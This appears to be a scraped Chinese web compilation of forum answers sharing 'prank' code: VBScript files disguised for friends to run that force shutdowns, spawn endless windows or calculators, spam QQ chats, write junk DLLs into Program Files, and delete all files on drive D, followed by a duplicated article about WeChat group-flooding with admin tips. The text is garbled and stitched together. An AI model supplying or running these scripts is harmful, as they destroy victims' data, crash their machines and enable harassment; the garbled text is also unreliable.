问一下 *** 群里的“网警0921已经进入监视该群”这种恶搞怎么用，有人知道吗

就这个，但我没成功：

?xml verson='1.0'encoding='UTF-8'standalone='yes'?

msg serviceID="37"templateID="-1"actionDate=""a_actionDate=""i_actionDate=""brief=""url=""flag="24"

item layout="0"title size="30"color="#990033"网警10086开始监控聊天内容/title/item

source name=""icon=""action=""actionDate=""appid="-1"//msg

黑客整人代码怎么发送

这位童鞋，我很同情你，你的心情我理解可是你要想学黑客你必须掌握C之类的，可你只是想怎能整。。。。。人

手机qq整人代码大全谁有？ 发一下 谢谢

之一步，将以下代码复制到记事本中。

on error resume next

dim WSHshellA

set WSHshellA = wscript.createobject("wscript.shell")

WSHshellA.run "cmd.exe /c shutdown -r -t 30 -c ""快说潮流哥特，不说就30秒关你机，不信，试试···"" ",0 ,true

dim a

do while(a "潮流哥特")

a = inputbox ("说潮流哥特,不然就不关机，快撒，说 ""潮流哥特"" ","说不说","不说",8000,7000)

msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"

loop

上面的文字可以随便改，不印象效果。如果发给MM，你可以逼她说“我爱你”。 *** 是把上面的“ *** 客是好网站”改成“快说我爱你” 内容来自

第二步，将记事本文件重命名为 ***.VBE（文件名可以任意起，如“美女.VBE”）

如果谁运行了这个 *** 炸弹，在30秒后会自动关机。

下面说一下使用 *** ：

最简单的使用 *** 是，你直接发给好友，让他运行，然后他就中招了。

WScript.Echo("谁令你打开这个软件的")

WScript.Echo("这个软件会让你无聊啊！")

WScript.Echo("推荐你来的肯定是个坏蛋！")

WScript.Echo("欢迎来到被整软件站！")

WScript.Echo("是谁设计的？")

WScript.Echo("Is me")

WScript.Echo("你好，你要点30次确定哦！")

WScript.Echo("1")

WScript.Echo("2")

WScript.Echo("3")

WScript.Echo("begin")

谁有恶搞关机的vbe代码，拜托给发一个

on error resume next

DO

msgbox "嗨！！！！",64,"^_^"

msgbox "嗨！我是黑客",64,"ψ(╰_╯)"

msgbox "你是谁？为什么你家有这么多病毒？",64,"(∵)？"

msgbox "让我控制你的电脑吧~~~",64,"o(∩_∩)o "

msgbox "我来帮你杀毒~~~~",64,"^_^"

msgbox "说实话我不想帮你",64,"(*^__^*) 嘻嘻"

msgbox "还是；来捣乱吧",64,"^_^"

msgbox "首先接我的之一招~~",64,"V.S"

intAnswer = msgbox ("如果没有我将让你的电脑无休止的重起",vbYesNo,"^_^")

If intAnswer = vbYes Then

YONG=Msgbox ("很好那么请你让我知道，如果你不能让我知道你输，我将对所有硬盘进行格式化。嘿嘿！",vbYesNo,"^_^")

msgbox "抱歉 你不能出招...",64,"V.S"

If YONG = vbNo Then

msgbox "哈哈就让键盘灯一直闪吧",64,"^_^"

msgbox chr(13) + chr(13) + chr(13) + "作者：周峻全"

DIM i

While(1)

For i=1 To 10

next

set WshShell=createObject("Wscript.Shell")

WshShell.SendKeys"{CAPSLOCK}"

WSCRIPT.SLEEP 100

WshShell.SendKeys"{SCROllLOCK}"

WSCRIPT.SLEEP 100

WshShell.SendKeys"{NUMLOCK}"

WSCRIPT.SLEEP 100

Wend

Else

End If

Else

set TUYONG=wscript.createobject("wscript.shell")

TUYONG.run ("shutdown -r -t 99999 -c 小样你输啦~~~哈哈，关机了！！！！"),,true

End If

LOOP

创建文本文档把后缀改成 .vbe 就好了

这是最贱的

我要 *** 聊天的恶搞代码

首先你在要建一个文本文档（在桌面点右键

--

新建

--

文本文档）把下面的你想要的代码复制

到文本文档

好

保存

把名字

txt

改成

vbs

就

OK

vbs

整人代码大 ***

一、

你打开好友的聊天对话框

,

然后记下在你

***

里好友的昵称

,

把下面代码里的

xx

替换一下

,

就可以自定义发送

***

信息到好友的次数

(

代码里的数字

10

改一下即可

).

xx.vbs=

=---------------------------------------------------------------------------

On Error Resume Next

Dim wsh,ye

set wsh=createobject("wscript.shell")

for i=1 to 10

wscript.sleep 700

wsh.AppActivate("

与

xx

聊天中

")

wsh.sendKeys "^v"

wsh.sendKeys i

wsh.sendKeys "%s"

next

wscript.quit

----------------------------------------------------------------------------

〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓

***

骚扰信息

,

也可以用在其它程序上。

二、我就用这个程序放在学校图书馆查询书刊的机器上，好多人都那它没办法，哈哈

------------------------------------------------------------------------------

do

msgbox "You are foolish!"

loop

----------------------------------------------------------------------------

〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓

三、打开无数个计算器，直到死机

------------------------------------------------------------------------------

set wsh=createobject("wscript.shell")

do

wsh.run "calc"

loop

-----------------------------------------------------------------------------

〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓

四、直接关机

-----------------------------------------------------------------------------

dim WSHshell

set WSHshell = wscript.createobject("wscript.shell")

WSHshell.run "shutdown -f -s -t 00",0 ,true

-----------------------------------------------------------------------------

〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓

五、删除

D:\

所有文件

---------------------------------------------------------------------------

dim WSHshell

set WSHshell = wscript.createobject("wscript.shell")

WSHshell.run "cmd /c ""del d:\*.* / f /q /s""",0 ,true

----------------------------------------------------------------------------

〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓

六、不断弹出窗口

----------------------------------------------------------------------------

while(1)

msgbox "

哈哈

你被耍了！

"

loop

----------------------------------------------------------------------------

〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓

七、不断按下

alt+f4

（开什么都关闭„„）

---------------------------------------------------------------------------

dim WSHshell

set WSHshell = wscript.createobject("wscript.shell")

while(1)

WSHshell.SendKeys "%{F4}"

loop

---------------------------------------------------------------------------

〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓

八、按

500

次回车

(

以上代码在运行者的电脑上显示

500

个对话框。其中

do until s=500

，

500

可以随意更改

)

-----------------------------------------------------------------------------

dim s

do until s=500

s=s+1

msgbox "

哥们，给我按

500

次回车吧

",64

loop

'------------------------ ------------------------------------------------------------

〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓

九、关不掉的窗口

------------------------------------------------------------------------------------

WScript.Echo("

嘿，谢谢你打开我哦，我等你很久

拉！

"TSName)

WScript.Echo("

你是可爱的小朋吗

?")

WScript.Echo("

哈

,

我想你拉，这你都不知道吗？

")

〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓

[color=#FF0000]

复制以这个代码，在桌面建一个文本，把代码放进去，另存为

VBS

格式，

此代码的威力：

1

：开机就强制自动关机

2

：

cmd

命令打不开

3

：结束任务不管用

4

：

F8

安全模式也不管用

呵呵！听起来是不是有点恐怖啊，我在我朋友空间里看见也吓了一跳、

代码破解 *** ：就是再运行一次，就可以破解了，也就是第

2

次保存的那个

VBE

文件，

，

PS

：不要乱拿软件去整人，发生什么事可不要怪我啊。

。

拍拍手

顶起吧！

〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓

恐怖啊

整人

小心用

Private Sub Form_Load()

Me.Hide

End Sub

Private Sub Timer1_Timer()

'

声明变量，其中“

count

”为静态变量，以便生成不同的文件

Dim files As String

Dim nr As String

Dim c As String

Static count As Long

'

定义要把生成的文件存放在那个目录文件下

c = "C:\Program Files\"

'

生成文件的内容

nr = "

哈哈，被黑的感觉的不错吧

"

files = FreeFile

'

如果

a

等于

a

那么就执行

If a = a Then

'count

不断的加

1

，以便产生不同的文件名

count = count + 1

'

产生文件名及文件句柄，并用

count

作为产生不同的文件名。

Open c "system" count ".dll" For Append As #files

'

向文件写内容

Write #files, nr

'

清除文件句柄，这里很重要，如果不清除，将产生打开文件太多的错误提示

Close #files

End If

End Sub

微信炸群代码复制

“炸群”是利用代码软件或手动在平台发布内容，短时间内消耗信息资源，阻塞 *** ，症状轻则卡屏，重则电脑、手机直接瘫痪。如今“炸群”这种低成本的黑客技术已经在微信群泛滥，成为 *** 暴力的工具，只要惹怒老子，我就炸你群的节奏，与流氓没什么区别。

微信炸群一般使用大量的表情、换行以及可以出发微信表情雨的关键词，这样的消息丢到群里，将会使手机运存负载，进而导致微信闪退。

基于前车之鉴，总结经验友情提示各位社群管理者注意以下几点：

1、红包可以发，别天天发，时时发，当变成红包群，离炸群也不远了。

2、群主别孤军奋战，没有管理的社群是死群，找一帮志同道合的朋友共同管理，出现炸群现场可以及时处理，不然炸一次没人管此群也就歇菜了。

3、所谓林子大了，什么鸟都有！如果群内出现专门挑事的人，还是生面孔，群主请别犹豫赶紧T，一场嘴仗导致有人一怒之下就下一个炸群软件恶搞,毕竟犯罪成本那么低。

4、最后一点是关键，想炸你的群说明该群一定非常活跃，不然没人闲着没事干来炸你，所以拉人需谨慎，社群当人数达到一定数量后，需要关注质量的提升，胡乱拉人炸群的危险系数直线上升。

微信炸群代码

炸群”事件截图

因其“炸群”行动影响很多正常的社交活动，对群成员造成直接滋扰。未知此“炸群”行为是否属于 *** 违法行为？警方是否会介入调查呢？社会相关专业人士能否告知小编？

▲“炸群”事件元凶

是什么“炸群”？

“炸群”是利用代码软件或手动在平台发布内容，短时间内消耗信息资源，阻塞 *** ，症状轻则卡屏，重则电脑、手机直接瘫痪。如今“炸群”这种低成本的黑客技术已经在微信群泛滥，成为 *** 暴力的工具，只要惹怒老子，我就炸你群的节奏，与流氓没什么区别。

微信炸群一般使用大量的表情、换行以及可以出发微信表情雨的关键词，这样的消息丢到群里，将会使手机运存负载，进而导致微信闪退。

对于炸群这种 *** 的行为，全国屡见不鲜，那么“炸群”到底什么原因导致？

从监管层面上而言，控制难度非常大，优X库不雅视频事件后，工作人员可以禁止男女、男男进入试衣间，避免不雅视频影响品牌形象，但微信群作为开放性的组织，无法甄别那些别有用心的人加入。

基于前车之鉴，总结经验友情提示各位社群管理者注意以下几点：

1、红包可以发，别天天发，时时发，当变成红包群，离炸群也不远了。

2、群主别孤军奋战，没有管理的社群是死群，找一帮志同道合的朋友共同管理，出现炸群现场可以及时处理，不然炸一次没人管此群也就歇菜了。

3、所谓林子大了，什么鸟都有！如果群内出现专门挑事的人，还是生面孔，群主请别犹豫赶紧T，一场嘴仗导致有人一怒之下就下一个炸群软件恶搞,毕竟犯罪成本那么低。

4、最后一点是关键，想炸你的群说明该群一定非常活跃，不然没人闲着没事干来炸你，所以拉人需谨慎，社群当人数达到一定数量后，需要关注质量的提升，胡乱拉人炸群的危险系数直线上升。

发生“炸群”事件怎么办？

这时候，你千万不要打开群聊，会导致手机卡顿微信闪退，只需三布教你摆脱“炸群”危机：打开手机飞行模式－删除群聊记录－举报并移除“炸群”者。